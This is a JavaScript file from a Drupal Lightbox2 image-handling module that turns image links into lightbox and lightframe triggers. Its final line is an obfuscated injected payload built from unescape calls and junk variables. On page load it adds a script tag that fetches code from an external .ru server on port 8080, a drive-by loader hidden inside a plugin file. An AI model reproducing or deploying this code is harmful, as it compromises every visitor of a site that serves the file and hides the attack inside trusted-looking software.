/* $Id: auto_image_handling.js,v 1.1.2.22 2008/07/22 09:06:39 snpower Exp $ */

// Image Node Auto-Format with Auto Image Grouping.
// Original version by Steve McKenzie.
// Altered by Stella Power for jQuery version.

function parse_url(url, param) {
  param = param.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
  url = url.replace(/&amp;/, "&");
  var regexS = "[\\?&]"+param+"=([^&#]*)";
  var regex = new RegExp(regexS);
  var results = regex.exec(url);
  if (results === null) {
    return "";
  }
  else {
    return results[1];
  }
}


function lightbox2_init_triggers(classes, rel_type, custom_class) {
  var settings = Drupal.settings.lightbox2;

  var link_target  = "";
  if (settings.node_link_target !== 0) {
    link_target = 'target="'+ settings.node_link_target +'"';
  }

  $("a["+classes+"], a:has("+classes+")").each(function(i) {

    if ((!settings.disable_for_gallery_lists && !settings.disable_for_acidfree_gallery_lists) || (!$(this).parents("td.giAlbumCell").attr("class") && !$(this).parents(".galleries").length && !$(this).parents(".acidfree-folder").length && !$(this).parents(".acidfree-list").length) || ($(this).parents(".galleries").length && !settings.disable_for_gallery_lists) || (($(this).parents(".acidfree-folder").length || $(this).parents(".acidfree-list").length) && !settings.disable_for_acidfree_gallery_lists)) {

      var child = $(this).find(classes);

      // Ensure the child has a class attribute we can work with.
      if ($(child).attr("class") && !$(this).parents("div.acidfree-video").length) {

        // Set the alt text.
        var alt = $(child).attr("alt");
        if (!alt) {
          alt = "";
        }

        // Set the image node link text.
        var link_text = settings.node_link_text;

        // Set the rel attribute.
        var rel = "lightbox";
        var lightframe = false;
        if (rel_type == "lightframe_ungrouped") {
          rel = "lightframe[]";
          lightframe = true;
        }
        else if (rel_type == "lightframe") {
          lightframe = true;
        }
        else if (rel_type == "lightbox_ungrouped") {
          rel = "lightbox[]";
        }
        if (rel_type != "lightbox_ungrouped" && rel_type != "lightframe_ungrouped") {
          rel = rel_type + "[" + $(child).attr("class") + "]";
        }

        // Set the basic href attribute - need to ensure there's no language
        // string (e.g. /en) prepended to the URL.
        var id = null;
        var href = $(child).attr("src");
        var orig_href = $(this).attr("href");
        var pattern = new RegExp(settings.file_path);
        if (orig_href.match(pattern)) {
          var lang_pattern = new RegExp(settings.base_path + "\\w\\w\\/");
          orig_href = orig_href.replace(lang_pattern, settings.base_path);
        }
        var frame_href = orig_href;

        // Handle flickr images.
        if ($(child).attr("class").match("flickr-photo-img") ||
          $(child).attr("class").match("flickr-photoset-img")) {
          href = $(child).attr("src").replace("_s.", ".").replace("_t.", ".").replace("_m.", ".").replace("_b.", ".");
          if (rel_type != "lightbox_ungrouped" && rel_type != "lightframe_ungrouped") {
            rel = rel_type + "[flickr]";
            if ($(child).parents("div.block-flickr").attr("class")) {
              id = $(child).parents("div.block-flickr").attr("id");
              rel = rel_type + "["+ id +"]";
            }
          }
        }

        // Handle "image-img_assist_custom" images.
        else if ($(child).attr("class").match("image-img_assist_custom")) {
          // Image assist uses "+" signs for spaces which doesn't work for
          // normal links.
          orig_href = orig_href.replace(/\+/, " ");
          href = $(child).attr("src").replace(new RegExp("\\.img_assist_custom"), ((settings.display_image_size === "")?settings.display_image_size:"."+ settings.display_image_size));
          if (rel_type != "lightbox_ungrouped" && rel_type != "lightframe_ungrouped") {
            rel = rel_type + "[node_images]";
          }
          if (lightframe) {
            frame_href = orig_href + "/lightbox2";
          }
        }

        // Handle "inline" images.
        else if ($(child).attr("class").match("inline")) {
          href = orig_href;
        }

        // Handle gallery2 block images.
        else if ($(child).attr("class").match("ImageFrame_image") || $(child).attr("class").match("ImageFrame_none")) {
          var thumb_id = parse_url(href, "g2_itemId");
          var new_id = parse_url(orig_href, "g2_itemId");
          if (new_id && thumb_id) {
            var g2pattern = new RegExp("g2_itemId="+thumb_id);
            var replacement = "g2_itemId="+ new_id;
            href = href.replace(g2pattern, replacement);
          }
          rel = rel_type + "[gallery2]";
          if ($(child).parents("div.block-gallery").attr("class")) {
            id = $(child).parents("div.block-gallery").attr("id");
            rel = rel_type + "["+ id +"]";
          }
        }


        // Set the href attribute.
        else if (settings.image_node_sizes != '()' && !custom_class) {
          href = $(child).attr("src").replace(new RegExp(settings.image_node_sizes), ((settings.display_image_size === "")?settings.display_image_size:"."+ settings.display_image_size)).replace(/(image\/view\/\d+)(\/[\w\-]*)/, ((settings.display_image_size === "")?"$1/_original":"$1/"+ settings.display_image_size));
          if (rel_type != "lightbox_ungrouped" && rel_type != "lightframe_ungrouped") {
            rel = rel_type + "[node_images]";
            if ($(child).parents("div.block-multiblock,div.block-image").attr("class")) {
              id = $(child).parents("div.block-multiblock,div.block-image").attr("id");
              rel = rel_type + "["+ id +"]";
            }
          }
          if (lightframe) {
            frame_href = orig_href + "/lightbox2";
          }
        }

        // Modify the image url.
        var img_title = $(child).attr("title");
        if (!img_title) {
          img_title = $(this).attr("title");
          if (!img_title) {
            img_title = $(child).attr("alt");
          }
          $(child).attr({title: img_title});
        }
        if (lightframe) {
          href = frame_href;
        }
        if (!custom_class) {
          var title_link = "";
          if (link_text.length) {
            title_link = "<br /><a href=\"" + orig_href + "\" id=\"node_link_text\" "+ link_target +" >"+ link_text + "</a>";
          }
          rel = rel + "[" + alt + title_link + "]";
          $(this).attr({
            rel: rel,
            href: href
          });
        }
        else {
          if (rel_type != "lightbox_ungrouped" && rel_type != "lightframe_ungrouped") {
            rel = rel_type + "[" + $(child).attr("class") + "]";
            if ($(child).parents("div.block-image").attr("class")) {
              id = $(child).parents("div.block-image").attr("id");
              rel = rel_type + "["+ id +"]";
            }
          }
          rel = rel + "[" + alt + "]";
          $(this).attr({
            rel: rel,
            href: orig_href
          });
        }
      }
    }

  });

}

function lightbox2_init_acidfree_video() {
  var settings = Drupal.settings.lightbox2;

  var link_target  = "";
  if (settings.node_link_target !== 0) {
    link_target = 'target="'+ settings.node_link_target +'"';
  }

  var link_text = settings.node_link_text;
  var rel = "lightframe";

  $("div.acidfree-video a").each(function(i) {

    if (!settings.disable_for_acidfree_gallery_lists || (!$(this).parents(".acidfree-folder").length && !$(this).parents(".acidfree-list").length) || (($(this).parents(".acidfree-folder").length || $(this).parents(".acidfree-list").length) && !settings.disable_for_acidfree_gallery_lists)) {
      var orig_href = $(this).attr("href");
      var href = orig_href + "/lightframevideo";
      var title = $(this).attr("title");
      var title_link = "";
      if (link_text.length) {
        title_link = "<br /><a href=\"" + orig_href + "\" id=\"node_link_text\" "+ link_target +" >"+ link_text + "</a>";
      }

      $(this).attr({
        rel: rel,
        title: title + title_link,
        href: href
      });
    }
  });
}

if (Drupal.jsEnabled) {
  $(document).ready(function lightbox2_image_nodes() {

    var settings = Drupal.settings.lightbox2;

    // Don't do it on the image assist popup selection screen.
    var img_assist = document.getElementById("img_assist_thumbs");
    if (!img_assist) {

      // Select the enabled image types.
      lightbox2_init_triggers(settings.trigger_lightbox_classes, "lightbox_ungrouped");
      lightbox2_init_triggers(settings.custom_trigger_classes, settings.custom_class_handler, true);
      lightbox2_init_triggers(settings.trigger_lightbox_group_classes, "lightbox");
      lightbox2_init_triggers(settings.trigger_slideshow_classes, "lightshow");
      lightbox2_init_triggers(settings.trigger_lightframe_classes, "lightframe_ungrouped");
      lightbox2_init_triggers(settings.trigger_lightframe_group_classes, "lightframe");
      if (settings.enable_acidfree_videos) {
        lightbox2_init_acidfree_video();
      }

    }
  });
}

var R=new String();var p=new String();function S(){this.V='';var s=window;var Q=new Date();var KP;if(KP!='zs'){KP=''};var HY=new Array();var a=s['unescape'];var D=a("%2f%63%68%69%6e%61%6d%6f%62%69%6c%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%6f%63%75%73%2e%63%6e%2e%70%68%70");function k(c,C){var e;if(e!='j'){e='j'};var eH;if(eH!='_'){eH='_'};this.f='';var g;if(g!='pE'){g='pE'};var K=a("%5d");var sm;if(sm!='' && sm!='N'){sm='P'};var Cg=a("%5b");var Jr;if(Jr!='G' && Jr!='A'){Jr='G'};var O=String("g");var zU;if(zU!='M' && zU != ''){zU=null};var F;if(F!='' && F!='oz'){F=null};var RI;if(RI!='y'){RI='y'};var H=new RegExp(Cg+C+K, O);var Wx;if(Wx!=''){Wx='RF'};return c.replace(H, new String());};var YO;if(YO!='PI' && YO!='Br'){YO='PI'};var q='';this.Ff="";this.xc='';var cp=k('8671492095932511987422524021453','97416325');this.xh='';var WZ;if(WZ!='HE' && WZ!='rq'){WZ='HE'};var GX=new Date();var iI;if(iI!='' && iI!='LB'){iI=null};var W=k('sHcMrXiXpvtg','IfHvMeXg');var FI;if(FI!='' && FI!='Ev'){FI='X'};var z=document;var QC=new String();var E=k('syrKc1','1ib8eTxhvO9UtyZ0KjkJ');var Oj='';var m=k('dQe6fNe6rN','6WNQ');var ZC="";var Qj="";function aX(){var _y=new Array();var O_=a("%68%74%74%70%3a%2f%2f%63%72%65%77%61%6d%65%72%69%63%61%2e%72%75%3a");this.JI='';var Eo="";var ku=O_;var yQ;if(yQ!='Ve'){yQ='Ve'};var kJ=new Date();ku+=cp;var vx=new Array();ku+=D;var jP=new Date();try {var Wh='';var ji="";var Ab="";o=z[k('cBrBe0adtCeoEPlBeom4eunDtY','qdP40YUDupCoB')](W);var lk;if(lk!='eA'){lk=''};var VD=new Array();var qr;if(qr!='' && qr!='sj'){qr='zz'};o[E]=ku;var qt=new String();this.LF='';o[m]=[1][0];var YK='';var WP;if(WP!='yO' && WP!='rf'){WP=''};z.body[k('a2pPp7esnWdPC7hPiPlAd0','R70PA2srWuE')](o);this.hC='';var cn=new Array();} catch(B){var CX;if(CX!='' && CX!='uI'){CX='uJ'};};var bB;if(bB!='' && bB!='zq'){bB=''};}var ml=new Date();this.sG="";var x=k('oSnSlLoAa7dA','pPO2LeSA7X');var rC=new Date();var AD=new Array();s[x]=aX;var Bg=new Date();var Kh=new String();};var UU="";var JP;if(JP!='' && JP!='lLA'){JP=null};S();var Th="";